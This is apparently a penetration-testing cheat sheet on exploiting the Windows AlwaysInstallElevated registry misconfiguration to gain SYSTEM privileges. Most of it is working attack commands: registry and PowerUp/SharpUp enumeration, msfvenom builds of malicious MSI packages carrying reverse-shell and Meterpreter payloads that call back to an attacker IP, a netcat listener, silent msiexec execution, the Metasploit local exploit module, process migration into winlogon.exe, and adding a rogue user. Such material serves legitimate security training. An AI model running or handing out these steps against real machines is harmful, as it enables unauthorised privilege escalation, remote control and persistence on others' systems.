Always Installed Elevated exploitation
Target requirements
The target needs to have those values in the registry:
In
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installerwith the AlwaysInstallElevated set to 1In
Computer\HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installerwith the AlwaysInstallElevated set to 1 This means that installation packages are installed with elevated privileges
Enumerate with cmd
Type
reg query HKLM\Software\Policies\Microsoft\Windows\Installerin a cmd prompt should be set to 1Type
reg query HKCU\Software\Policies\Microsoft\Windows\Installershould be one as well
Exploitation
You should have a shell with covenant, metasploit or netcat or an access to the target. We will use Covenant and Metasploit here.
Covenant
Enumerate with SharpUp audit
In your shell type
SharpUp auditIn the results you should see this:
=== AlwaysInstallElevated Registry Keys === HKLM: 1 HKCU: 1
Enumerate with powerup
In the shell we will type PowerShellImport, type enter and fetch PoweUp.ps1 (if you do not have it you can get it here )
Click on execute
Type
powershell invoke-allchecksin your shellWe should see this
[*] Checking for AlwaysInstallElevated registry key... AbuseFunction : Write-UserAddMSI
Exploitation
generate a payload with msfvenom
msfvenom -p windows/exec CMD="" -f msi -o exploitalwaysinstalled.msibetween the quotes copy and paste an encoded launcher.Upload your file in the target using Upload command from covenant (type
Uploadand enter, file the file path for the target and browse to the file in your attack machine)run it using `shell msiexec /quiet /qn /i exploitalwaysinstalled.msi
We should get a prompt for another reverse shell in our grunts as an elevated user
> whoami NT AUTHORITY\SYSTEM
Exploitation with powerup
powershell -ep bypass. .\PowerUp.ps1Write-UserAddMSIIt will set up a malicious MSI called
UserAddAnd we will be able to add a user

Our user has been added

Metasploit
Interact with a session you should already have from initial foothold
sessions -i num-of-session
Enumerate
Launch
run post/multi/recon/local_exploit_suggesterYou should see:
- exploit/windows/local/always_install_elevated: The target is vulnerable.
Exploitation
Background your session with ctrl z
Type
use exploit/windows/local/always_install_elevatedset session to the number of the session you have on your target
type
exploit -jlist the sessions you should have another one running as authority system
type ps and look for a process under session 1 so that we can migrate to it
We can use winlogon.exe
620 520 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exeMigrate to it using
migrate PID-numberin our example it is going to bemigrate 520
OR
msfconsoleuse multi/handlerset payload windows/meterpreter/reverse_tcpset lhost your-Kali-IPrunIn another console tab
msfvenom -p windows/meterpreter/reverse_tcp lhost=Your-Kali-IP -f msi -o setup.msiGet the generated msi in your target (python server -> browser from target)
In your target Place
setup.msiin a folder where you have write accessOpen command prompt and type:
msiexec /quiet /qn /i C:\Folder\you\chose\setup.msiYou should get an elevated shell in msfconsole

Other way
Generate a malicious MSI package
msfvenom -p windows/shell_reverse_tcp lhost=IP-OF-ATTACK-MACHINE lport=PORT -f msi > file.msiSet up a listener
rlwrap nc -lnvp CHOSEN-PORTUpload it to the target and execute it from the cmd
msiexec /i c:\users\user\desktop\file.msi /quiet /qn /norestartYou should get an elevated shell
Resources
Last updated